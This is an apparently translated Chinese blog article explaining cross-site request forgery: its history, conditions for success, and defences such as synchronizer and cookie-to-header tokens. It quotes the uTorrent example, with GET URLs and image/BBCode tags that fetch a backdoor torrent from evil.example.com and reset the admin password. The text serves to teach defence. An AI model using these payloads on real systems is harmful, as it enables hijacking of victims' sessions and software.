前端必备HTTP技能之跨站请求伪造(CSRF)技术详解

跨站请求伪造也被成为单击攻击或者会话叠置,简称CSRF或者XSRF。是一种恶意利用从网站信任用户获取未授权命令的行为。和跨站脚本(XSS)不同,XSS利用的是特定站点信任的用户,而CSRF利用的是用户浏览器中信任的站点。

历史
CSRF漏洞从2001年开始被人知道并在某些情况下被人利用。因为它是在用户IP地址之外执行的,一些站点日志可能没有记录CSRF的证据,所以这种漏洞极少被公开报道过,直到2007年,才有一些证据确凿的例子:

  • 在线银行[ING Direct](ING Group)的web应用遭受CSRF攻击,允许非法转账。
  • 知名的视频网站YouTube2008年也遭受过CSRF攻击,允许攻击者几乎可以执行任何用户操作。
  • 2008年年初墨西哥的一个银行客户被email中的图片tag攻击。图片tag中的链接改变了银行ADSL路由上的DNS条目,指向了一个恶意的冒充银行网站。
  • McAfee被CSRF攻击,允许攻击者更改他们公司的电脑系统。

示例和特征
如果攻击者可以找到一个可复制的链接,当受害者登陆的时候,在目标页面执行特定的动作,他们就可以在他们控制的页面嵌入这些链接,诱使受害者打开这些链接。攻击者可能会把链接放在受害者登陆站点时既有可能访问的地方,或者在邮件体内,邮件附件里面。uTorrent曾发现过一个真实的CSRF漏洞,它的web控制台允许通过localhost:8080访问,可以通过简单的get请求执行一些关键任务:
强制下载一个.torrent文件
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
修改uTorrent的管理员密码
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin

攻击者可以把恶意自动执行代码放到论坛的image标签中或者垃圾邮件中,当用户打开浏览器访问这些页面时,会自动执行恶意代码。如果用户使用的是容易被攻击的uTorrent版本,那么在打开这些带有恶意代码的页面时,就很容易受到攻击。
![](http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent)

CSRF攻击使用image标签伪造主要来自网络论坛,因为论坛允许上传图片,但不支持js,例如可以使用BBCode:
[img]http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent[/img]

当攻击连接执行example.com时,浏览器可以自动发送example.com域下存在的任何cookies到服务端,当攻击发生时,用户已经登录了这个网站,此时CSRF攻击就可以利用特定漏洞,执行特殊行为。

CSRF是利用浏览器发起的代理人攻击

以下是CSRF常用特征:

  • 涉及网站依赖用户身份认证
  • 利用身份认证获取网站信任
  • 欺骗用户浏览器发送HTTP请求到目标站点
  • 涉及的HTTP请求都有副作用

web应用程序的风险就是执行行为是基于信任和授权的用户输入,而不需要用户授权特殊的行为。一个通过浏览器cookie授权的用户可能会不知觉的发送HTTP请求到信任该用户的网站,然后引起不知情的行为。

在上面的例子中,uTorrent的web接口支持GET请求进行临界状态改变操作(修改证书,下载文件等)促进了攻击,GET请求改变状态这种行为在RFC16规范中是不推荐的:

GET和HEAD方法不应该有其它行为除了用来获取数据,这些方法应该被认为是安全的。允许用户代理使用其它方法,例如POST,PUT和DELETE,这样用户才能清楚的知道这个请求是一个不安全的行为。

根据这个假定,许多存在CSRF防御机制的web框架将不会支持GET请求,但是不是仅通过HTTP方法,更多的是关注状态的改变。

伪造登陆请求
攻击者可以伪造请求利用攻击者的认证登陆目标站点,这也成为CSRF登陆。CSRF登陆制造了多种新奇的攻击可能,例如,攻击者可以稍后利用他自己的有效凭证登陆站点,浏览保存在账号中的活动页面上的隐私信息。

HTTP方法和CSRF
不同的HTTP请求方法有不同难易程度的CSRF攻击,也需要不同等级的防护措施,因为浏览器处理不同请求方法的方式不同。

  • 使用HTTP GET方法进行CSRF攻击是很容易的,使用上文提到的方法,例如一个简单的包含多个参数的超链接,利用image标签自动加载。然而根据HTTP规范,GET方法应该是一个安全方法,不能明显的用于更改用户状态。应用如果需要这种操作应该使用HTTP POST方法或者使用反CSRF保护。
  • HTTP POST方法对CSRF也有不同难易程度的攻击方法,主要依赖详细的使用场景:
    1.对于简单的将POST数据编码为查询字符串的方式,使用HTML表单进行CSRF攻击是十分简单的,这时必须使用反CSRF的防护措施;
    2. 如果数据以其他格式(JSON,XML)发送,一个标准的方法是使用XMLHttpRequest进行的POST的请求,这种方式同源策略和跨站资源共享可以阻止CSRF攻击;有一种技术可以利用一个简单的HTML表单发送任意内容,那就是使用ENCTYPE属性;这样可以利用text/plain内容属性区分伪造的请求和合法的请求,但是如果服务器没有强制这种机制,CSRF攻击仍会发生。
  • 其他的HTTP方法(PUT,DELETE等)可以只通过使用XMLHttpRequest的同源策略和跨站资源共享阻止CSRF攻击,但是一旦站点设置了Access-Control-Allow-Origin: *头,这种方法就没用了。

CSRF的局限性
成功的CSRF需要一些前提条件:

  • 1.攻击者的目标站点不能有检查referrer头的操作,或者被攻击者的浏览器允许referrer欺骗
  • 2.攻击者必须在目标站点找到一个表单提交入口,或者有类似作用的URL(例如可以用来转移钱,修改受害者邮件地址或者密码)。
  • 3.攻击者必须决定所有表单或者URL参数中正确的值;如果存在秘密的身份验证值或者ID,攻击者没有猜到话,攻击有很大可能不会成功(除非攻击者足够幸运,什么都猜对)。
  • 4.攻击者必须诱使受害者访问有恶意代码的页面,并且此时受害者已经登录到目标站点。

注意CSRF攻击是盲目的,攻击者不知道目标站点会给受害者的伪造请求返回何种响应,除非攻击者可以利用跨站脚本或者目标站点的其他缺陷。同样的,如果后续的链接或者表单同样是可以预测的,那么攻击可以把任意最初请求之后的链接或者表单当成目标(多个目标可以通过在一个页面包含多个image来模拟或者使用js增加点击之间的延迟)。

由于上面的这些限制,攻击者可能很难找到登录的受害者或者可以攻击的表单提交。从另一方面来说,攻击尝试对受害者来说很容易实施并且不可见,程序设计者可能对CSRF攻击不太熟悉,也没有做好准备相比于密码破解字典攻击。

预防措施
大多数CSRF预防技术都是通过在请求中加入验证数据来区分请求是否来自未授权位置。

同步token模式

这种技术就是为每个请求生成一个私密的唯一的token,web程序会在所有的表单中嵌入这个token,然后在服务端验证。token可以用任何方法创建,但是要确保不可预测和唯一性。这样的话攻击者就不能再他们的请求中使用一个正确的token来验证请求的合法性。

Django框架在html表单中使用的一个例子:
<input type="hidden" name="csrfmiddlewaretoken" value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" />

由于只依赖HTML,所以这种方法是最具兼容性的,但是也给服务端带来了一定的复杂度,因为服务端要承担校验每个请求的token以确定请求有效性的任务。token是唯一且不可预测的,还需要执行适当的事件序列,带了可用性问题。可以通过使用session CSRF token来代替使用每个请求的CSRF token来降低复杂度。同时,很难让web应用大量使用AJAX

Cookie-to-Header Token

web应用使用js来进行大量的操作,可以依赖同源策略使用反CSRF技术:

  • 在登录的时候,web应用把一个随机的token塞到cookie中,并且把同样的token保存在整个用户session中;
    Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-Age=31449600; Path=/
  • 客户端的js读取到cookie中的token值,把它放在每个事务请求头中;
    X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
  • 服务端验证token的完整性;

这种技术的安全性主要依赖于只有同源下的js才能访问到cookie值这样的假定。流氓文件和email中的js不能读取cookie,然后把cookie中的token放到header中,尽管cookie中的csrf-token会随伪造请求一起发送,但是服务端仍然会检查请求头中是否有有效的X-Csrf-Token。

CSRF token应该是唯一的和不可预测的。它可以随机产生,或者利用HMAC算法根据session token派生出来。
csrf_token = HMAC(session_token, application_secret)

cookie中的CSRF token设计的时候,必须可以被js读取到。

这项技术已经被许多现代框架实现,例如DjangoAngularJS。因为token在整个用户会话期间保持一致,所以在ajax应用中也可以很好的工作,但是不会执行web应用中的事件序列。

客户端安全措施

浏览器插件例如Firefox的RequestPolicy插件,或者Chrome,Firefox的uMatrix插件,都可以通过提供一个默认禁止跨站请求策略来阻止CSRF。然而,当时这样可能显著的影响了一些站点的正常操作。Firefox的CsFire插件通过移除跨站请求中身份验证信息的方式,可以缓解CSRF的影响,同时最低限度影响正常浏览。

Firefox的NoScript插件也可以减轻CSRF的威胁通过下面的方式:区分可信和不可信站点;移除授权信息;负载不信任站点发往信任站点的POST请求。NoScript中Application Boundary Enforcer模块可以阻止网页发往本地站点(localhost)的请求,阻止本地服务的CSRF,例如上文提到的uTorrent漏洞。

Firefox的cookie自我销毁插件不会直接阻止CSRF,但是可以减少攻击窗口,通过用户切换tab页时立即删除tab页cookie的方式。

其他技术

历史上使用过的或提出的各种其他阻止CSRF的技术:

  • 验证请求头中是否包含X-Requested-With,或者检查HTTP的Referer头或者Origin头。然而这种方式也是不安全的 —— 利用浏览器插件和重定向就可以让攻击者在请求中添加自定义的HTTP头,然后就可以允许跨域请求了。
  • 对于嵌入式网络设备来说通过检查HTTP的Referer头的方式来确定请求是否来自授权页面是一种常用方法,因为这样不会增加内存需要。然后一个请求如果省略了Referer头,会被当成未授权的,因为攻击者可以屏蔽Referer头,然后通过FTP或者HTTPS发送请求。这种严格的Referer检查可能会导致一个问题就是浏览器或者代理由于隐私原因忽略Referer头。旧版本的Flash允许恶意Flash利用CRLF Injection生成任意HTTP头的GET或者POST请求。客户端的CRLF Injection漏洞可以被用来欺骗HTTP请求中的Referer头。
  • 利用URL参数的POST请求一段时间以来被当做是预防轻微CSRF攻击的方法。然而,如今POST和其他HTTP方法都可以利用XMLHttpRequest执行。

跨站脚本漏洞允许攻击者绕过大多数CSRF防御措施,但是带有附件认证信息和验证码验证的方法仍然是有效的。

做好前端开发必须对HTTP的相关知识有所了解,所以我创建了一个专题前端必备HTTP技能专门收集前端相关的HTTP知识,欢迎关注,投稿。


PS:本文翻译自维基百科,原文地址https://en.wikipedia.org/wiki/Cross-site_request_forgery

推荐阅读更多精彩内容